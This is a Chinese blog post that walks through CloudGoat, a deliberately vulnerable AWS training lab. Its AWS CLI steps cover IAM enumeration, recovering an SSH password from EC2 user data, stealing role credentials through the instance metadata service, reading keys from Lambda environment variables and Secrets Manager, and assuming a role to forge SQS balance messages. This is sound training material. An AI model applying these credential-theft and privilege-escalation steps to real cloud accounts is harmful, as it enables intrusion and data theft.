“CloudGoat”是安全公司 Rhino Security Labs 开发的一款专门设计为“自带漏洞”的 AWS 安全演练工具 。
简单来说就是一个开源的自部署的云靶场
安装和部署 安装依赖
1 2 3 sudo apt updatesudo apt install -y python3 python3-pip pipx unzip curl jq awsclipipx ensurepath
安装 Terraform
1 2 3 4 wget -O terraform.zip https://releases.hashicorp.com/terraform/1.8.5/terraform_1.8.5_linux_amd64.zip unzip terraform.zip sudo mv terraform /usr/local/bin/terraform version
安装 CloudGoat
1 2 pipx install cloudgoat cloudgoat --help
配置
输入用户名称
aws用户创建看我第二篇博客云安全01 - Btop251的博客
配置白名单
1 cloudgoat config whitelist --auto
靶场搭建 cloudgoat中有17个靶场,在Github页面的Scenarios Available 部分可以导航到每个靶场的详情页面。
iam_enum_basics 点击第一个iam_enum_basics靶场。
在这种情况下,你从一个名叫Bob的低级IAM用户的访问密钥开始。你的任务是使用 AWS CLI 进行全面的 IAM 枚举。通过调查托管政策、内联策略、组成员资格和可替代角色,你将发现五个不同的警示信号。
1 cloudgoat create iam_enum_basics
根据提供的用户信息登录新用户
1 aws configure --profile lel1
Flag 1: 映射出管理策略(The Description) 列出托管在bob下的所有策略,返回一个ARNs(亚马逊资源名)列表
1 aws iam list-attached-user-policies --user-name cg-bob-cgid6iy7d9rxpn --profile lel1
ARN(Amazon Resource Name)是 AWS 中唯一标识资源的标准名称 ,可以理解为 AWS 世界里的“资源身份证”。
当 AWS 需要指定:
某个 IAM 用户
某个 S3 存储桶
某个 EC2 实例
某个 Lambda 函数
时,通常都会使用 ARN。
接下来看这个arn下的具体数据,通过下面这个get命令
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 ubuntu@ip-172-31-37-19:~$ aws iam get-policy --policy-arn arn:aws:iam::************:policy/cg-flag1-managed-policy-cgid6iy7d9rxpn --profile lel1 { "Policy" : { "PolicyName" : "cg-flag1-managed-policy-cgid6iy7d9rxpn" , "PolicyId" : "ANPATY3L4FB4DHX4XDKAS" , "Arn" : "arn:aws:iam::************:policy/cg-flag1-managed-policy-cgid6iy7d9rxpn" , "Path" : "/" , "DefaultVersionId" : "v1" , "AttachmentCount" : 1, "PermissionsBoundaryUsageCount" : 0, "IsAttachable" : true , "Description" : "HSM{m4n4g3d_p0l1cy_m4st3r}" , "CreateDate" : "2026-06-08T08:55:30+00:00" , "UpdateDate" : "2026-06-08T08:55:30+00:00" , "Tags" : [ { "Key" : "Scenario" , "Value" : "scenario_template" }, { "Key" : "Stack" , "Value" : "CloudGoat" } ] } }
在回显中找到flag1字段
1 "Description" : "HSM{m4n4g3d_p0l1cy_m4st3r}"
Flag 2: 查找内联策略(The Statement ID) 概念:与托管策略不同,内联策略是自定义的、一次性的、直接固化到特定用户的规则。管理员经常创建它们来进行快速修复,然后又忘记了它们,使它们成为权限提升的主要目标。
检查bob有没有什么隐藏的内联策略
1 2 3 4 5 6 ubuntu@ip-172-31-37-19:~$ aws iam list-user-policies --user-name cg-bob-cgid6iy7d9rxpn --profile lel1 { "PolicyNames" : [ "cg-flag2-inline-policy-cgid6iy7d9rxpn" ] }
有了这个内联策略,拉去文档看看描述
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 ubuntu@ip-172-31-37-19:~$ aws iam get-user-policy --user-name cg-bob-cgid6iy7d9rxpn --profile lel1 --policy-n ame cg-flag2-inline-policy-cgid6iy7d9rxpn { "UserName" : "cg-bob-cgid6iy7d9rxpn" , "PolicyName" : "cg-flag2-inline-policy-cgid6iy7d9rxpn" , "PolicyDocument" : { "Version" : "2012-10-17" , "Statement" : [ { "Action" : "ec2:DescribeInstances" , "Effect" : "Allow" , "Resource" : "*" , "Sid" : "HSM1nl1n3p0l1cyd1sc0v3r3d" } ] } }
拿到flag2
Flag 3:调查组成员 (The Path) 概念:在AWS中,您不仅从直接附加到您的策略中获得权限;您还从所属的任何组继承所有权限。
在01篇中也有提到权限的获取也可以通过添加进组
检查bob属于哪个组
1 2 3 4 5 6 7 8 9 10 11 12 ubuntu@ip-172-31-37-19:~$ aws iam list-groups-for-user --user-name cg-bob-cgid6iy7d9rxpn --profile lel1 { "Groups" : [ { "Path" : "/HSM_gr0up_m3mb3rsh1p_f0und/" , "GroupName" : "cg-flag3-group-cgid6iy7d9rxpn" , "GroupId" : "AGPATY3L4FB4BLZSKM3YX" , "Arn" : "arn:aws:iam::************:group/HSM_gr0up_m3mb3rsh1p_f0und/cg-flag3-group-cgid6iy7d9rxpn" , "CreateDate" : "2026-06-08T08:55:30+00:00" } ] }
Flag 4:通过可承担的规则(Roles)
The Concept: Roles are temporary “hats” that a user can put on to gain different privileges. If a pentester finds an overly permissive role that their compromised user is allowed to assume, it’s often game over.
列出账户中所有的roles
1 aws iam list-roles --profile lel1
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 { "Path" : "/" , "RoleName" : "cg-flag4-role-cgid6iy7d9rxpn" , "RoleId" : "AROATY3L4FB4HEPHZGEKS" , "Arn" : "arn:aws:iam::************:role/cg-flag4-role-cgid6iy7d9rxpn" , "CreateDate" : "2026-06-08T08:55:39+00:00" , "AssumeRolePolicyDocument" : { "Version" : "2012-10-17" , "Statement" : [ { "Effect" : "Allow" , "Principal" : { "AWS" : "arn:aws:iam::************:user/cg-bob-cgid6iy7d9rxpn" } , "Action" : "sts:AssumeRole" } ] } , "MaxSessionDuration" : 3600 }
查他元数据
1 aws iam get-role --role-name cg-flag4-role-cgid6iy7d9rxpn --profile lel1
拿到flag
Flag 05: 策略版本 当策略在后期修改时发现出现了修改错误可以进行回滚,类似git
首先,回顾第1步的输出defaultversionid(它通常是v1)
多加个规定版本
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 ubuntu@ip-172-31-37-19:~$ aws iam get-policy-version --policy-arn arn:aws:iam::************:policy/cg-flag1-managed-policy-cgid6iy7d9rxpn --profile lel1 --version-id v1 { "PolicyVersion" : { "Document" : { "Statement" : [ { "Action" : [ "s3:ListBucket" , "s3:GetObject" ], "Effect" : "Allow" , "Resource" : "arn:aws:s3:::HSM{s3cr3t_js0n_str1ng}" } ], "Version" : "2012-10-17" }, "VersionId" : "v1" , "IsDefaultVersion" : true , "CreateDate" : "2026-06-08T08:55:30+00:00" } }
拿到flag
data_secrets (Easy)
在这种场景下,首先需要一个权限有限的IAM用户。你的任务是识别一个错误配置的EC2实例,泄露其用户数据中的凭据,让你获得SSH访问权限。从这里开始,您必须通过利用实例元数据服务(Instance Metadata Service, IMDS)来窃取角色,枚举Lambda函数以找到隐藏的环境变量,最后危及能够访问场景目标的用户:存储在AWS Secrets Manager中的秘密。
创建实例
1 cloudgoat create data_secrets
登录新用户
1 aws configure --profile start_user
枚举权限和EC2资源 查看旗下有什么EC2资源
1 aws ec2 describe-instances --region us-east-1 --profile start_user
得到instance-id为i-09c6156a353b3b589
AWS中一个常见的错误配置是将敏感数据(脚本、密码、密钥)存储在EC2用户数据中,这对于拥有ec2:DescribeInstanceAttribute权限的用户是可见的
获取你找到的实例的用户数据:
1 2 3 4 5 6 7 8 ubuntu@ip-172-31-37-19:~$ aws ec2 describe-instance-attribute --instance-id i-09c6156a353b3b589 --attribute u serData --region us-east-1 --profile start_user { "InstanceId" : "i-09c6156a353b3b589" , "UserData" : { "Value" : "IyEvYmluL2Jhc2gKZWNobyAiZWMyLXVzZXI6Q2xvdWRHb2F0SW5zdGFuY2VQYXNzd29yZCEiIHwgY2hwYXNzd2QKc2VkIC1pICdzL1Bhc3N3b3JkQXV0aGVudGljYXRpb24gbm8vUGFzc3dvcmRBdXRoZW50aWNhdGlvbiB5ZXMvZycgL2V0Yy9zc2gvc3NoZF9jb25maWcKc2VydmljZSBzc2hkIHJlc3RhcnQK" } }
base64解码得到
1 2 3 4 5 #!/bin/bash echo "ec2-user:CloudGoatInstancePassword!" | chpasswdsed -i 's/PasswordAuthentication no/PasswordAuthentication yes/g' /etc/ssh/sshd_config service sshd restart
通过实例得知他将密码改成了ec2-user:CloudGoatInstancePassword!,然后可以用这个密码和上面暴露的ip登录ssh
1 ssh ec2-user@3.239.44.224
一旦进入EC2实例,您就可以有效地访问附加到它的任何IAM角色。我们可以通过查询链接本地地址169.254.169.254来检索这些凭证。
1 2 curl http://169.254.169.254/latest/meta-data/iam/security-credentials/
得到一个角色cg-ec2-role-cgidvilqp7qpxs,接下来检索该角色的凭据:
1 2 3 4 5 6 7 8 9 10 curl http://169.254.169.254/latest/meta-data/iam/securi-cgidvilqp7qpxscg-ec2-role { "Code" : "Success" , "LastUpdated" : "2026-06-10T06:34:08Z" , "Type" : "AWS-HMAC" , "AccessKeyId" : "ASIA****************" , "SecretAccessKey" : "****************************************" , "Token" : "********" , "Expiration" : "2026-06-10T13:01:28Z"
盗用这些信息在本地也配置一个用户
1 aws configure --profile ec2_role
列举出这个profile下的函数
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 aws lambda list-functions --region us-east-1 --profile ec2_role { "Functions" : [ { "FunctionName" : "cg-lambda-function-cgidvilqp7qpxs" , "FunctionArn" : "arn:aws:lambda:us-east-1:************:function:cg-lambda-function-cgidvilqp7qpxs" , "Runtime" : "python3.9" , "Role" : "arn:aws:iam::************:role/cg-lambda-exec-role-cgidvilqp7qpxs" , "Handler" : "lambda_function.lambda_handler" , "CodeSize" : 221, "Description" : "" , "Timeout" : 3, "MemorySize" : 128, "LastModified" : "2026-06-10T05:57:49.271+0000" , "CodeSha256" : "J7+tACeZu8267g5XEXe/iTlv1Ip9wdtOr/IzHK/W9fc=" , "Version" : "$LATEST " , "Environment" : { "Variables" : { "DB_USER_ACCESS_KEY" : "AKIA****************" , "DB_USER_SECRET_KEY" : "****************************************" } }, "TracingConfig" : { "Mode" : "PassThrough" }, "RevisionId" : "8ab7c2cb-5a81-4071-a0f9-27dcaf82054e" , "PackageType" : "Zip" , "Architectures" : [ "x86_64" ], "EphemeralStorage" : { "Size" : 512 }, "SnapStart" : { "ApplyOn" : "None" , "OptimizationStatus" : "Off" }, "LoggingConfig" : { "LogFormat" : "Text" , "LogGroup" : "/aws/lambda/cg-lambda-function-cgidvilqp7qpxs" } } ] }
开发人员经常不正确地将API密钥或数据库凭据存储在Lambda环境变量中。获取该函数的配置细节
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 aws lambda get-function --function-name cg-lambda-function-cgidvilqp7qpxs --region us-east-1 --profile ec2_role { "Configuration" : { "FunctionName" : "cg-lambda-function-cgidvilqp7qpxs" , "FunctionArn" : "arn:aws:lambda:us-east-1:************:function:cg-lambda-function-cgidvilqp7qpxs" , "Runtime" : "python3.9" , "Role" : "arn:aws:iam::************:role/cg-lambda-exec-role-cgidvilqp7qpxs" , "Handler" : "lambda_function.lambda_handler" , "CodeSize" : 221, "Description" : "" , "Timeout" : 3, "MemorySize" : 128, "LastModified" : "2026-06-10T05:57:49.271+0000" , "CodeSha256" : "J7+tACeZu8267g5XEXe/iTlv1Ip9wdtOr/IzHK/W9fc=" , "Version" : "$LATEST " , "Environment" : { "Variables" : { "DB_USER_ACCESS_KEY" : "AKIA****************" , "DB_USER_SECRET_KEY" : "****************************************" } }, "TracingConfig" : { "Mode" : "PassThrough" }, "RevisionId" : "8ab7c2cb-5a81-4071-a0f9-27dcaf82054e" , "State" : "Active" , "LastUpdateStatus" : "Successful" , "PackageType" : "Zip" , "Architectures" : [ "x86_64" ], "EphemeralStorage" : { "Size" : 512 }, "SnapStart" : { "ApplyOn" : "None" , "OptimizationStatus" : "Off" }, "RuntimeVersionConfig" : { "RuntimeVersionArn" : "arn:aws:lambda:us-east-1::runtime:b46f7bc0f3da8071d1b824471f2c69c8766b756b827eb0455d2118c622ae7bcf" }, "LoggingConfig" : { "LogFormat" : "Text" , "LogGroup" : "/aws/lambda/cg-lambda-function-cgidvilqp7qpxs" } }, "Code" : { "RepositoryType" : "S3" , "Location" : "https://prod-04-2014-tasks.s3.us-east-1.amazonaws.com/snapshots/************/cg-lambda-function-cgidvilqp7qpxs-35922ecb-916c-410c-9d02-34c6bf762f3c?versionId=y9iclg5EVyF1y.LWcCBRikGsNSIw23q7&X-Amz-Security-Token=****&X-Amz-Algorithm=AWS4-HMAC-SHA256&X-Amz-Date=20260610T065312Z&X-Amz-SignedHeaders=host&X-Amz-Expires=600&X-Amz-Credential=****&X-Amz-Signature=****" }, "Tags" : { "Name" : "cg-lambda-cgidvilqp7qpxs" , "Scenario" : "scenario_template" , "Stack" : "CloudGoat" } }
在返回的json中发现
1 2 3 4 "Variables" : { "DB_USER_ACCESS_KEY" : "AKIA****************" , "DB_USER_SECRET_KEY" : "****************************************" }
登录
1 aws configure --profile lambda_user
列出数据
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 ubuntu@ip-172-31-37-19:~$ aws secretsmanager list-secrets --region us-east-1 --profile lambda_user { "SecretList" : [ { "ARN" : "arn:aws:secretsmanager:us-east-1:************:secret:cg-final-flag-cgidvilqp7qpxs-SqUBJC" , "Name" : "cg-final-flag-cgidvilqp7qpxs" , "Description" : "The final flag for the CloudGoat scenario" , "LastChangedDate" : "2026-06-10T05:57:43.723000+00:00" , "LastAccessedDate" : "2026-06-10T00:00:00+00:00" , "Tags" : [ { "Key" : "Stack" , "Value" : "CloudGoat" }, { "Key" : "Name" , "Value" : "cg-final-flag-cgidvilqp7qpxs" }, { "Key" : "Scenario" , "Value" : "scenario_template" } ], "SecretVersionsToStages" : { "terraform-20260610055743330600000002" : [ "AWSCURRENT" ] }, "CreatedDate" : "2026-06-10T05:57:42.426000+00:00" } ] }
找到flag了
1 2 3 4 5 6 7 8 9 10 11 12 ubuntu@ip-172-31-37-19:~$ aws secretsmanager get-secret-value --secret-id cg-final-flag-cgidvilqp7qpxs --regi on us-east-1 --profile lambda_user { "ARN" : "arn:aws:secretsmanager:us-east-1:************:secret:cg-final-flag-cgidvilqp7qpxs-SqUBJC" , "Name" : "cg-final-flag-cgidvilqp7qpxs" , "VersionId" : "terraform-20260610055743330600000002" , "SecretString" : "{\"flag\":\"d4t4_s3cr3ts_4r3_fun\"}" , "VersionStages" : [ "AWSCURRENT" ], "CreatedDate" : "2026-06-10T05:57:43.718000+00:00" }
暂时搁置,要不然期末要挂科了
恢复复更新,虽然还是挂科了,网络安全我阐述你的梦,没有网安专业整这种比背诵课作甚
sqs_flag_shop (Easy)
首先,从 SHOP 页面开始,在那里你可以购买 FLAG。该网站包含多个页面,你可以看到源代码是公开的。攻击者会分析代码以寻找漏洞,并利用其权限来购买 FLAG。
开启靶场
1 cloudgoat create sqs_flag_shop
为什么我打不开网址,不管了,假装我打开了,直接开始云上打击
1 2 3 4 5 6 7 $ aws --profile sqs_user sts get-caller-identity { "UserId" : "XXXXXXXXXXXXXXXXXXZF4" , "Account" : "XXXXXXXXXXXX" , "Arn" : "arn:aws:iam::XXXXXXXX:user/cg-sqs-user-sqs_flag_shop_cgidbXXXXXXXXX" }
关于ARN ARN(Amazon Resource Name,亚马逊资源名称) 是 AWS 中每个资源的唯一标识符 ,可以理解为资源的“身份证号”。当你需要在策略、API调用或标签中明确指定某个资源时,就必须使用ARN
ARN的格式遵循一个通用模板,但具体细节会因资源类型而异。它的基本结构如下:
1 arn:partition:service:region:account-id:resource
你可以把它想象成一个有6个部分的地址,每个部分都指明了资源在AWS世界中的位置。
组成部分
说明
示例
arn
前缀 。固定以 arn 开头,表明这是一个亚马逊资源名称。
arn
partition
分区 。资源所在的大区 。标准区域是 aws,中国区域是 aws-cn,AWS GovCloud (US) 是 aws-us-gov。
aws
service
服务 。资源所属的AWS服务命名空间,如 iam、s3、ec2、rds 等。
s3
region
区域 。资源所在的AWS区域代码,如 us-east-1。注意 :部分全球性服务(如IAM)或资源(如S3存储桶)的ARN可能会省略此项。
us-west-2
account-id
账户ID 。拥有该资源的AWS账户ID(不含连字符),如 123456789012。同样,某些资源可能会省略此项。
123456789012
resource
资源标识 。最后一部分,用于唯一标识资源本身。它可以是资源的ID、名称或路径 ,格式多样。
用户 user/Bob VPC vpc/vpc-0e9801d129EXAMPLE S3对象 bucket-name/file.txt
ARN最重要的用途是在 IAM 权限策略 中,通过 Resource 元素来精确控制可以访问哪个资源。
精确指定 :"Resource": "arn:aws:s3:::example-bucket" 只允许访问名为 example-bucket 的存储桶。
通配符使用 :使用 * 和 ? 通配符,可以匹配多个资源。例如,"Resource": "arn:aws:s3:::example-bucket/*" 可以匹配该存储桶内的所有对象
列举用户策略
AWS 策略用于定义身份和资源的权限。看看我们的用户关联那些策略
1 2 3 4 5 6 7 $ aws --profile sqs_user iam list-user-policies --user-name cg-sqs-user-cgid53u6q7pmic { "PolicyNames" : [ "cg-sqs-scenario-assumed-role" ] }
该用户有一个附加策略。看看内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 $ aws --profile sqs_user iam get-user-policy --user-name cg-sqs-user-cgid53u6q7pmic --policy-name cg-sqs-scenario-assumed-role { "UserName" : "cg-sqs-user-cgid53u6q7pmic" , "PolicyName" : "cg-sqs-scenario-assumed-role" , "PolicyDocument" : { "Version" : "2012-10-17" , "Statement" : [ { "Action" : [ "iam:Get*" , "iam:List*" ], "Effect" : "Allow" , "Resource" : "*" }, { "Action" : "sts:AssumeRole" , "Effect" : "Allow" , "Resource" : "arn:aws:iam::************:role/cg-sqs-send-message-cgid53u6q7pmic" } ] } }
仔细看看这个策略
{ “Action”: [ “iam:Get*”, “iam:List*” ], “Effect”: “Allow”, “Resource”: “*” },
允许所有的Get*和List*操作,且对所有用户生效
{ “Action”: “sts:AssumeRole”, “Effect”: “Allow”, “Resource”: “arn:aws:iam::************:role/“ }
允许用户扮演(Assume)指定的 IAM 角色,这个就是越权的关键,如果这个可扮演的IAM具有更高的权限就可以通过扮演他来实现越权
1 2 3 4 5 6 7 $ aws --profile sqs_user iam list-role-policies --role-name cg-sqs-send-message-cgid53u6q7pmic { "PolicyNames" : [ "cg-sqs" ] }
附带一个policy,检查一下内容
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 $ aws --profile sqs_user iam get-role-policy --role-name cg-sqs-send-message-cgid53u6q7pmic --policy-name cg-sqs { "RoleName" : "cg-sqs-send-message-cgid53u6q7pmic" , "PolicyName" : "cg-sqs" , "PolicyDocument" : { "Version" : "2012-10-17" , "Statement" : [ { "Action" : [ "sqs:GetQueueUrl" , "sqs:SendMessage" ], "Effect" : "Allow" , "Resource" : "arn:aws:sqs:us-east-1:************:cash_charging_queue" } ] } }
操作
说明
用途
sqs:GetQueueUrl
获取队列的 URL 地址
需要先知道队列 URL 才能发送消息
sqs:SendMessage
向队列发送消息
核心功能,向队列写入数据
关于SQS Amazon Simple Queue Service (Amazon SQS) 是一个全托管的消息队列服务 ,它就像是一个在分布式系统之间传递消息的可靠“信箱”,用于解耦和缓冲各个组件
它的核心工作模式是异步通信 ,可以确保消息在发送方和接收方之间安全、持久地传递
一个消息在 SQS 中的典型旅程是这样的:
生产 (Send) :生产者 (Producer,比如你的应用或用户)将消息发送到 SQS 队列。
存储 (Store) :SQS 会将消息持久化 地存储在多个服务器上,确保高可用性。
消费 (Receive) :消费者 (Consumer,比如你的旗店服务器中的某个组件)从队列中拉取(Poll)消息进行处理。
锁定与删除 (Lock & Delete) :消息被拉取后,会进入一个“可见性超时 ”(Visibility Timeout)状态,在此期间对其他消费者不可见,防止被重复处理。处理成功后,消费者需要显式地从队列中删除 该消息。
看到这个IAM可以send到SQS,而且我们还可以assume这个IAM,于是攻击链就确定了
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 $ aws --profile sqs_user sts assume-role --role-arn arn:aws:iam::************:role/cg-sqs-sen d-message-cgid53u6q7pmic --role-session-name sqs_send_role { "Credentials" : { "AccessKeyId" : "ASIA****************" , "SecretAccessKey" : "****************************************" , "SessionToken" : "********" , "Expiration" : "2026-07-24T15:08:41+00:00" }, "AssumedRoleUser" : { "AssumedRoleId" : "AROATY3L4FB4NE7TBXGDT:sqs_send_role" , "Arn" : "arn:aws:sts::************:assumed-role/cg-sqs-send-message-cgid53u6q7pmic/sqs_send_role" } }
查找sqs队列的url
1 2 3 4 ~$ aws --profile sqs_send_role sqs get-queue-url --queue-name cash_charging_queue { "QueueUrl" : "https://sqs.us-east-1.amazonaws.com/************/cash_charging_queue" }
之后可以知道这个网址的逻辑是在用户端发送请求的时候会传一个POST包用json格式将数据发到客户端,于是我们可以利用这个IAM直接上次一个数据包改掉我们的金币
1 $ aws --profile sqs_send_role sqs send-message --queue-url https://sqs.us-east-1.amazonaws.com/************/cash_charging_queue --message-body '{"charge_amount": 100000000}'
但是我没执行成功,甚至连靶场开的url都打不开,算了,知道这题的逻辑就行了,总结一下还是先信息搜集,在一个arn中找到一个assume策略,扮演一个更高权限的用户,实现越权修改数据,实战真能遇到吗
< NEWER
神砖转专业指北
OLDER >
云安全02